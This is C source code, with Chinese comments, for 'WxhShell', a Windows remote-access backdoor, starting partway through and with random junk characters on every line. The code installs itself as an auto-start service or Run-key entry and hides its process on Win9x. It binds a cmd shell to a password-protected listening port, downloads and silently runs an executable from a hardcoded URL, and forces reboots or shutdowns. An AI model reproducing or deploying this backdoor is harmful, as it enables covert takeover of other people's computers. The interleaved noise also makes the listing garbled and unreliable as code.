    if(Boot(SHUTDOWN)) G:c8`*5Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#]7`o  
    else { )xvx6?Ah|  
    closesocket(wsh); R^yZG{?t  
    ExitThread(0); 6"Lsui??  
    } ~26s7S}  
    break; %rDmW?T  
    } '+!S|U,{  
  // 获取shell O/Mz?$8J  
  case 's': { lii ]4k+z  
    CmdShell(wsh); x1:Pj  
    closesocket(wsh); 52MCUl  
    ExitThread(0); r($_>TS&"  
    break; foz5D9sQ  
  } kyxSIQ^  
  // 退出  9VUm=Z#`  
  case 'x': { |c oEBFG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F7Dc!JNa  
    CloseIt(wsh); -S,ir  
    break; 827)n[#%|  
    } !/4 V^H  
  // 离开 rX!+@>4_L  
  case 'q': { 1 x\VdT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \_gp50(3  
    closesocket(wsh); o7Cnyy#:  
    WSACleanup(); lv00sa2z  
    exit(1); F8S~wW=\w  
    break; ,dZ#,<  
        } ^%oG8z,L  
  } LZQFj/,Jg  
  } 20/P M9  
i|c`M/) h:  
  // 提示信息 ST: v3*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UN*dU  
} r,3Ww2X-  
  } jA-5X?!In  
 hmBnV  
  return; \za5:?[xB  
} r%y;8$/-  
mo|PrLV  
// shell模块句柄 7~kpRa@\P  
int CmdShell(SOCKET sock) 5mna7 BCEb  
{ ^p"4)6p-W  
STARTUPINFO si; KkdG.c'  
ZeroMemory(&si,sizeof(si)); uP%axys  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^<>Jw%H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y\)G7 (  
PROCESS_INFORMATION ProcessInfo; us\%BxxI9  
char cmdline[]="cmd"; }_a +X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9{O2B5u1  
  return 0; KH2F#[ !Lw  
} Y8J ;+h9  
{+ C%D'  
// 自身启动模式 Sv7>IVC?@  
int StartFromService(void) 1H&?UP4=(  
{ `z-H]fU  
typedef struct 28T\@zi  
{  NVO9XK  
  DWORD ExitStatus; Jt-X mGULB  
  DWORD PebBaseAddress; [GR]!\!%~  
  DWORD AffinityMask; e8d5(e  
  DWORD BasePriority; VY+(,\ )U  
  ULONG UniqueProcessId; \~gA+ o}Q  
  ULONG InheritedFromUniqueProcessId; NJ|NJ p&0  
}   PROCESS_BASIC_INFORMATION; H _Zo@y~J  
L.09\1?.n  
PROCNTQSIP NtQueryInformationProcess; W{fULl  
zG-_!FIn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8!u/   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tC2 )j7@  
Y )u_nn'[  
  HANDLE             hProcess; ?%\mQmjas  
  PROCESS_BASIC_INFORMATION pbi; \LO_Nu9  
'2|1%NSW9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r#_7]_3  
  if(NULL == hInst ) return 0; *[d~Nk%Y$  
My]+?.Ru  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v87$NQvwQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qq'i*Mh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \LIy:$`8  
~In{lQ[QX  
  if (!NtQueryInformationProcess) return 0; ; g Z%U  
fKL'/?LD]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M&uzOK+  
  if(!hProcess) return 0; GXOFk7>  
ps"/}u l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; to99 _2  
sg3h i"Im  
  CloseHandle(hProcess); N<KKY"?I'  
{PN:bb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \We"?1^  
if(hProcess==NULL) return 0; 98ca[.ui  
$.oOG"u0]  
HMODULE hMod; 0s 860Kn  
char procName[255]; 0zeUP {MQ  
unsigned long cbNeeded; !( kX~S  
2}^+ ]5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9 '2=  
r_4T tP&UW  
  CloseHandle(hProcess); jA4PDHf+  
7<h.KZPc  
if(strstr(procName,"services")) return 1; // 以服务启动 /a@ kS  
Y.DwtfE  
  return 0; // 注册表启动 +VSZhg,Np8  
} >?S\~Y  
$z= 0[%L  
// 主模块 _ymJ~MK  
int StartWxhshell(LPSTR lpCmdLine) IYuyj(/!  
{ &g*klt'B  
  SOCKET wsl; j.k@6[ R>?  
BOOL val=TRUE; jmkRP"ZnA  
  int port=0; C= >B_EO  
  struct sockaddr_in door; q&u$0XmV  
pU M&"V  
  if(wscfg.ws_autoins) Install(); VVs{l\$=ZV  
HDyQzCG,  
port=atoi(lpCmdLine); 48wDf_<f5=  
YV*b~6{d  
if(port<=0) port=wscfg.ws_port; j._G7z/LJ  
;5<P|:^  
  WSADATA data; 0r1g$mKb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Bj.hx*  
f.@Xjf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BRe{1i 6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {5SfE$r  
  door.sin_family = AF_INET; ft{W/ * +_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a]`itjL^  
  door.sin_port = htons(port); /Z:N8e  
>Cvjs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ 0D$Mie  
closesocket(wsl); /^J2B8y  
return 1; ?p(kh^z  
} =KV@&Y^x4  
?~!tM}X0:3  
  if(listen(wsl,2) == INVALID_SOCKET) { u0xQ;BQ  
closesocket(wsl); *]5z^> q;7  
return 1; *%3oyWwCd  
} ,NDh@VYe  
  Wxhshell(wsl); :#WEx_]  
  WSACleanup(); >b'w'"  
qB+n6y%  
return 0; &(g|="T  
PJCnud F  
} G=1m] >I8  
-)X{n?i  
// 以NT服务方式启动 w5,6$#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RYt6=R+f  
{ J=):+F=  
DWORD   status = 0; 5lO^;.cS,  
  DWORD   specificError = 0xfffffff; %8 qSv%_  
SWT:frki`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r]9e^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TaOOq}8c#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Lb72;!?  
  serviceStatus.dwWin32ExitCode     = 0; 8\DME  
  serviceStatus.dwServiceSpecificExitCode = 0; w$b~x4y%  
  serviceStatus.dwCheckPoint       = 0; 0F^]A"kF  
  serviceStatus.dwWaitHint       = 0; aRX  
3x![ 8 x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )6G" *  
  if (hServiceStatusHandle==0) return; t~ -J %$  
y5_XHi@u~o  
status = GetLastError(); E[UO5X  
  if (status!=NO_ERROR) u^l*5F%DK  
{ 7gm:ZS   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z`OkHX*+2|  
    serviceStatus.dwCheckPoint       = 0; ' X}7]y  
    serviceStatus.dwWaitHint       = 0; @LcT-3u  
    serviceStatus.dwWin32ExitCode     = status; qp\BV#E  
    serviceStatus.dwServiceSpecificExitCode = specificError; [yC"el6PM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /tP7uVL R  
    return;  qtzFg#  
  } qL3@PSN?|  
Wk}D]o0^@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O] H=s  
  serviceStatus.dwCheckPoint       = 0; E`tQe5K  
  serviceStatus.dwWaitHint       = 0; c#  xO<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {|XQO'Wg  
} a!D*)z Y  
GQ<Ds{exs>  
// 处理NT服务事件,比如:启动、停止 Y#`Lcg+r,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) awFhz 6   
{ ?ql2wWsQO  
switch(fdwControl) O ^0"  
{ Mb/L~gd"  
case SERVICE_CONTROL_STOP: 9Eg&CZ,9$D  
  serviceStatus.dwWin32ExitCode = 0; JR)/c6j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SF^x=[ir  
  serviceStatus.dwCheckPoint   = 0; .EG* +,  
  serviceStatus.dwWaitHint     = 0; odpUM@OAW  
  { |Ytg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6b<+8w  
  } C3)|<E  
  return; /VO^5Dnb  
case SERVICE_CONTROL_PAUSE: wLUF v(&C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \B&6TeR  
  break; Xem5@ (u  
case SERVICE_CONTROL_CONTINUE: H} 6CKP}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {`F1u?l  
  break; waCboK'  
case SERVICE_CONTROL_INTERROGATE: ]`d2_mu  
  break; f^?uY8<  
}; ;E#\   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (z2Z)_6L*L  
} d=y0yq{L  
+zsZNJ(U  
// 标准应用程序主函数 w" JGO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zKxvN3!  
{ { 5-zyE  
[O_^MA,z  
// 获取操作系统版本 UiIF6-ZZ!  
OsIsNt=GetOsVer(); _f3 WRyN0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Y2m md  
.T$D^?G!D  
  // 从命令行安装 13a(FG  
  if(strpbrk(lpCmdLine,"iI")) Install(); [4XC #OgA  
@KA1"Wb_  
  // 下载执行文件 sa9fK Z'q  
if(wscfg.ws_downexe) { ~{M@?8wi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %b =p< h'(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8*s7m   
} %iJ|H(P  
*,lh:  
if(!OsIsNt) { ax_YKJ5#P  
// 如果时win9x,隐藏进程并且设置为注册表启动 {6O0.}q]&  
HideProc(); )o jDRJ&  
StartWxhshell(lpCmdLine); hwVAXsF~  
} h!e2 +4{4{  
else J &{xP8uq_  
  if(StartFromService()) Obo_YE  
  // 以服务方式启动 J>%t<xYf4  
  StartServiceCtrlDispatcher(DispatchTable); aD ESr?  
else .oR3Q/|k]  
  // 普通方式启动 [N:BM% FQ  
  StartWxhshell(lpCmdLine); ^PqMi:htc  
iCrxV{   
return 0; #*2Rp8n  
} ~;unpym'  
62kb2C  
`G?qY8  
n+;vjVS%  
=========================================== P+Z\3re  
n3ZAF'  
\A<v=VM|  
k)":v3 ^  
}1U*A#aN7K  
`f)(Y1%.  
" Au5rR>W  
6peyh_  
#include <stdio.h> 2\0Oji\6  
#include <string.h> os$nL'sq  
#include <windows.h> O?ktWHUx  
#include <winsock2.h> =& -[TPW  
#include <winsvc.h> '7tBvVO_  
#include <urlmon.h> Y)M8zi>b  
T'1gy}  
#pragma comment (lib, "Ws2_32.lib") PLdn#S}.  
#pragma comment (lib, "urlmon.lib") RUGv8"j  
9?EVQ  
#define MAX_USER   100 // 最大客户端连接数 7>n"}8i  
#define BUF_SOCK   200 // sock buffer J :S'uxM  
#define KEY_BUFF   255 // 输入 buffer u 9]1X1wV  
Y"!uU.=xJ  
#define REBOOT     0   // 重启 7pet Hi  
#define SHUTDOWN   1   // 关机 |0 !I5|<k  
<o0~H  
#define DEF_PORT   5000 // 监听端口 )acV-+{  
[X/(D9J  
#define REG_LEN     16   // 注册表键长度 ."mlSW"Wm  
#define SVC_LEN     80   // NT服务名长度 ai;\@$ cq  
6>DLp}d  
// 从dll定义API Mo^`\ /x!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jN/ j\x'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =;{^" #r\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r{[OJc!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n &}s-`D  
qn"K9k  
// wxhshell配置信息 M{G xjmdx  
struct WSCFG { sLns3&n2  
  int ws_port;         // 监听端口 SDBt @=Nl  
  char ws_passstr[REG_LEN]; // 口令 BQjGv?p0s  
  int ws_autoins;       // 安装标记, 1=yes 0=no `;F2n2@  
  char ws_regname[REG_LEN]; // 注册表键名 Fr5 Xp  
  char ws_svcname[REG_LEN]; // 服务名 3z[ $4L'.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2z\;Q8g){r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &5Y_>{,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hwu4:^OL|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kuKa8c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -BhTkoN)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s@!$='|  
<KQ(c`KW7  
}; U7H9/<&o  
Qn=$8!Qqa  
// default Wxhshell configuration +K{LQsR]  
struct WSCFG wscfg={DEF_PORT, K)[8 H~Lm  
    "xuhuanlingzhe", G/{ ~_&t  
    1, 9%!dNnUk  
    "Wxhshell", 3~%!m<1:  
    "Wxhshell", S_Z`so}  
            "WxhShell Service", C;qMw-*F  
    "Wrsky Windows CmdShell Service", $<w)j!  
    "Please Input Your Password: ", 9lspo~M  
  1, Ty+I8e]{  
  "http://www.wrsky.com/wxhshell.exe", )`?%]D  
  "Wxhshell.exe" V3.t;.@  
    }; IOEM[zhb$  
;/sHWI f+Z  
// 消息定义模块 `fS^ j-_M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n&!+wcJ;Yt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SSmHEy*r)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JP'= UZ'  
char *msg_ws_ext="\n\rExit."; ^oeJKjJ  
char *msg_ws_end="\n\rQuit."; $sgH'/>  
char *msg_ws_boot="\n\rReboot..."; T+CajSV  
char *msg_ws_poff="\n\rShutdown..."; /Ox)|) l  
char *msg_ws_down="\n\rSave to "; G]*|H0j  
1;wb(DN*c  
char *msg_ws_err="\n\rErr!"; ;n*J$B  
char *msg_ws_ok="\n\rOK!"; =2 jhII  
l[YEKg  
char ExeFile[MAX_PATH]; C-SLjJw  
int nUser = 0; 5 9 -!6;T  
HANDLE handles[MAX_USER]; O#_x)13  
int OsIsNt; ([LIjaoi  
b{&FuvQg2  
SERVICE_STATUS       serviceStatus; '3;v] L?G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V#^yX%  
4/*q0M{}B  
// 函数声明 rVzI_zYqp'  
int Install(void); )#[|hb=o  
int Uninstall(void); t9u|iTY f!  
int DownloadFile(char *sURL, SOCKET wsh); y0IK,W'&?  
int Boot(int flag); $[(d X!]F  
void HideProc(void); ?L|yaC~  
int GetOsVer(void); +AI`R`Tm  
int Wxhshell(SOCKET wsl); 0I%: BT  
void TalkWithClient(void *cs); `ROG~0lN(  
int CmdShell(SOCKET sock); <avQR9'&  
int StartFromService(void); 5H !y46z  
int StartWxhshell(LPSTR lpCmdLine); Tr.hmGU  
5D' bJ6PO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '`l K'5;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &jf7k <^  
)=_ycf^MC  
// 数据结构和表定义 Y &f\VNlT  
SERVICE_TABLE_ENTRY DispatchTable[] = 6|=j+rScv  
{ \:/Lc{*}MD  
{wscfg.ws_svcname, NTServiceMain}, VKuAO$s$  
{NULL, NULL} e7k%6'@  
}; O<N#M{kc.  
VLI'    
// 自我安装 <P4 FzK  
int Install(void) :.nRN`e  
{ EzT`,#b  
  char svExeFile[MAX_PATH]; Ly #_?\bn  
  HKEY key; AsxD}Nw[Z*  
  strcpy(svExeFile,ExeFile); o8S"&O ?  
ct n, ]ld  
// 如果是win9x系统,修改注册表设为自启动 BIMKsF Zt  
if(!OsIsNt) { h9CIZU[Nh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + ^ yq;z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s3 B'>RG}  
  RegCloseKey(key); 6STp>@Ch]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `;%ZN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8<dOMp;}r  
  RegCloseKey(key); f_\_9o"l  
  return 0; GP,<`l&  
    } I1=(. *B}  
  } ;=~Xr"(/z  
} k1}hIAk3u  
else { ai-n z-;  
|jG~,{  
// 如果是NT以上系统,安装为系统服务 1oY^]OD]W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HW[L [&/  
if (schSCManager!=0) f )NHM'  
{ K+d2m9C=  
  SC_HANDLE schService = CreateService jRj=Awy  
  ( X6@wkrf-  
  schSCManager, !G?gsW0\h  
  wscfg.ws_svcname, M+Uyb7  
  wscfg.ws_svcdisp, %1}6q`:w  
  SERVICE_ALL_ACCESS, "(TkJbwC[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aMwB>bt  
  SERVICE_AUTO_START, i[nF.I5*f  
  SERVICE_ERROR_NORMAL, X0$@Ik  
  svExeFile, MXZ>"G  
  NULL, uA~slS Z  
  NULL, B3 zk(RNZ  
  NULL, :1aL ?  
  NULL, r`M6!}oa  
  NULL @WOM#Kc  
  ); vq'k|_Qi=  
  if (schService!=0) ?Rr2/W#F  
  { Fx#jV\''s  
  CloseServiceHandle(schService); p*qPcuAA  
  CloseServiceHandle(schSCManager); SW 8x]B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P3o @gkXP  
  strcat(svExeFile,wscfg.ws_svcname); h*l&RR:i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W!la-n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1mgLX_U9  
  RegCloseKey(key); Op}ZB:  
  return 0; GDhM<bVqM*  
    } U@-2Q=  
  } |m* .LTO  
  CloseServiceHandle(schSCManager); Ciihsm  
} bbN%$/d  
} 77,oPLSn  
+c$I&JO  
return 1; #@f[bP}a  
} wWjG JvJ  
eV!L^>>>  
// 自我卸载 ukAKFc^)k  
int Uninstall(void) SoQR#(73HK  
{  xvm5   
  HKEY key; f`$Gz  
P,z:Z| }8  
if(!OsIsNt) { VLvS$0(}Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x\\7G^$<h  
  RegDeleteValue(key,wscfg.ws_regname); >lzA]aM$c  
  RegCloseKey(key); +RDJY(Y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {ERMGd6Jp  
  RegDeleteValue(key,wscfg.ws_regname); 1=)r@X/6d  
  RegCloseKey(key); UT]?;o"  
  return 0; /n{1o\  
  } `=)2<Ca;~@  
} 2xxB\J  
} 9Sg<K)Mc  
else { >hsuAU.UOR  
3vic(^Qh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F jrINxL7^  
if (schSCManager!=0) %JL]; 4'  
{ KtN&,C )lJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w=_Jc8/.  
  if (schService!=0) i!H!;z#  
  { I -@?guZ r  
  if(DeleteService(schService)!=0) { @!%n$>p/V  
  CloseServiceHandle(schService); !DXNo(:r  
  CloseServiceHandle(schSCManager); 5>_5]t {  
  return 0; k2^a$k}  
  } j;nb?;  
  CloseServiceHandle(schService); ;`j/D@H  
  } [xlIG}e9  
  CloseServiceHandle(schSCManager); 1y"3  
} ^Z,q$Gp~P  
} @4GA^h  
][@F  
return 1; 5er@)p_  
} g.DLfwI|  
vfc[p ^  
// 从指定url下载文件 @w9{5D4  
int DownloadFile(char *sURL, SOCKET wsh) FQsUm?ac:  
{ |\9TvN^$`  
  HRESULT hr; onei4c>@  
char seps[]= "/"; -*ELLY[  
char *token; JMa3btLy(  
char *file; V%ii3  
char myURL[MAX_PATH]; iz^qR={bW  
char myFILE[MAX_PATH]; IyUdZ,ba  
Zj9c9  
strcpy(myURL,sURL); C*kK)6v `  
  token=strtok(myURL,seps); Kuw^qX"  
  while(token!=NULL) ocRdbmS  
  { [3>GGX[Ic  
    file=token; [0;buVU.  
  token=strtok(NULL,seps); 6z,Dyy]tl  
  } GF<[}  
V2d,ksKwn  
GetCurrentDirectory(MAX_PATH,myFILE); Kx`/\u=/  
strcat(myFILE, "\\"); +Wn&,?3^  
strcat(myFILE, file); %:9oDK  
  send(wsh,myFILE,strlen(myFILE),0); 0~WF{_0|  
send(wsh,"...",3,0); J5p8nmb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &l2TeC@;  
  if(hr==S_OK) A#@_V'a8  
return 0; Ub$n |xn  
else $W8Cf[a  
return 1; YV'pVO'_+  
~2 *9{  
} _S?qDG{E|  
I[Ic$ta  
// 系统电源模块 .K8w8X/3  
int Boot(int flag) E#%}ZY  
{ S -&)p@4  
  HANDLE hToken; 8/%6@Y"Y*  
  TOKEN_PRIVILEGES tkp; W[''Cc.  
!7p}C-RZp  
  if(OsIsNt) { v syWm.E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |F$BvCg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,_v|#g@{  
    tkp.PrivilegeCount = 1; n.6T OF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `FF8ie8L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D)b}f`  
if(flag==REBOOT) { s'HD{W`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _r Y,}\  
  return 0; ;@mRo`D`  
} Sr Ca3PA  
else { k#>hg#G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (U1]:tZ<.  
  return 0; *A}WP_ZQ  
} fC-P.:F#I  
  } @'FE2^~Jj  
  else { ,ZE?{G{tuj  
if(flag==REBOOT) { lHfe<j]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i\?*=\a  
  return 0; eTa y>G  
} ,T{<vRj7_  
else { x34f9! 't  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VRng=,  
  return 0; -%c<IX>z9  
} 6cS>bl  
} X* eW#|$\  
w|Cx>8P8@  
return 1; T/r#H__`  
} p]G3)s@>  
w!^~<{ Kz  
// win9x进程隐藏模块 G7LIdn=  
void HideProc(void) ]2SF9p_  
{ \fWW'  
'cZN{ZMWG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TYns~X_PR  
  if ( hKernel != NULL ) "h"NW[R  
  { T<b+s#n4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); []kN16F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AI ijCL  
    FreeLibrary(hKernel); |AhF7Mj*  
  } Z?NW1m()F  
AasZuO_I  
return; ]B\H ~Kn  
} N!&:rK  
_RkuBOv@e  
// 获取操作系统版本 =<z.mzqu5  
int GetOsVer(void) {r85l\u)Q\  
{ TX8<J>x  
  OSVERSIONINFO winfo; cQj-+Tmu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +/{L#e>   
  GetVersionEx(&winfo); hcCp,b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6i@\5}m=  
  return 1; Vy<HA*  
  else -Sv"gLB  
  return 0; o :q1beU  
} t ~7V { xk  
T(?HMyg3  
// 客户端句柄模块 bO5k6i  
int Wxhshell(SOCKET wsl) w(d>HHg  
{ 25y6a|`  
  SOCKET wsh; Ucw yxX I  
  struct sockaddr_in client; _Xcn N:Rt  
  DWORD myID; `\u;K9S6  
G bP!9I  
  while(nUser<MAX_USER) [V8fu qE>  
{ E-5_{sc  
  int nSize=sizeof(client); E ]9\R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lv[OUW#S  
  if(wsh==INVALID_SOCKET) return 1; 266oTER]v:  
'T=~jA7SkT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E; $+f  
if(handles[nUser]==0) :aLT0q!K  
  closesocket(wsh); AV8T  
else |Hr:S":9  
  nUser++; po9 9 y-  
  } g| <wyt[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YGvUwj'2a  
R<ND=[}s  
  return 0; Bf`9V713  
}  u6u=2  
w~R`D  
// 关闭 socket 07g':QU@  
void CloseIt(SOCKET wsh) sZgRt  
{ eW'2AT?2H%  
closesocket(wsh); B?rSjdY4  
nUser--; bizTd  
ExitThread(0); BQ</g* $;  
} D('2p8;2"7  
`?(Bt|<>  
// 客户端请求句柄 G2{O9  
void TalkWithClient(void *cs) SzD KByi  
{ s) O[t  
#EGA#SKoq  
  SOCKET wsh=(SOCKET)cs; /Dt d#OAdr  
  char pwd[SVC_LEN]; MTGiAFE  
  char cmd[KEY_BUFF]; "L&'Fd@ZU  
char chr[1]; 4674SzL  
int i,j; )jrT6x^IB  
t+r:"bb  
  while (nUser < MAX_USER) { V D?*h  
Uh1NO&i.W  
if(wscfg.ws_passstr) { ?']h%'Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F1%vtk;2?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =QJRMF  
  //ZeroMemory(pwd,KEY_BUFF); DaHZ{T8>d  
      i=0; Pl=]Srw  
  while(i<SVC_LEN) { o KD/rI  
6 9y;`15  
  // 设置超时 S/ywA9~3Q  
  fd_set FdRead; aA`/E  
  struct timeval TimeOut; x"P);su  
  FD_ZERO(&FdRead); ?rX]x8iP  
  FD_SET(wsh,&FdRead); HS>f1!  
  TimeOut.tv_sec=8; ,6^ znOt  
  TimeOut.tv_usec=0; C`jM0Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;^Sr"v6r>u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (m[bWdANnW  
(UCK;k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q cjc ,  
  pwd=chr[0]; x3ERCqTR  
  if(chr[0]==0xd || chr[0]==0xa) { dx*qb  
  pwd=0; YNrp}KQ  
  break; J/!cGr( B~  
  }  h_d+$W5  
  i++; 4F3x@H'  
    } 'uDjFQX  
J~B 7PW  
  // 如果是非法用户,关闭 socket _lKZmhi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )&{K~i;:  
} 8x{B~_~  
)\;Z4x;]U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q*![AzFh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )QagS.L{z  
6&Juv  
while(1) { 5m:i6,4  
RyB~Lm`ZK%  
  ZeroMemory(cmd,KEY_BUFF); X;F?:Iw\  
dUznxZB  
      // 自动支持客户端 telnet标准   V}o n|A  
  j=0; 39F O f  
  while(j<KEY_BUFF) { M~*u;vA/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |IoB?^_h  
  cmd[j]=chr[0]; juF{}J2  
  if(chr[0]==0xa || chr[0]==0xd) { |]Z:&[D]i  
  cmd[j]=0; D'l5Zd  
  break; YKbCdLQ  
  } j/T>2|dA&  
  j++; 8n BL\{'B[  
    } Ioy  
4Tc&IwR  
  // 下载文件 L\{IljA  
  if(strstr(cmd,"http://")) { Lj\/Ji_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ik|-L8  
  if(DownloadFile(cmd,wsh)) g[>\4B9t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ N']TN  
  else _qqr5NU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lJP1XzN_  
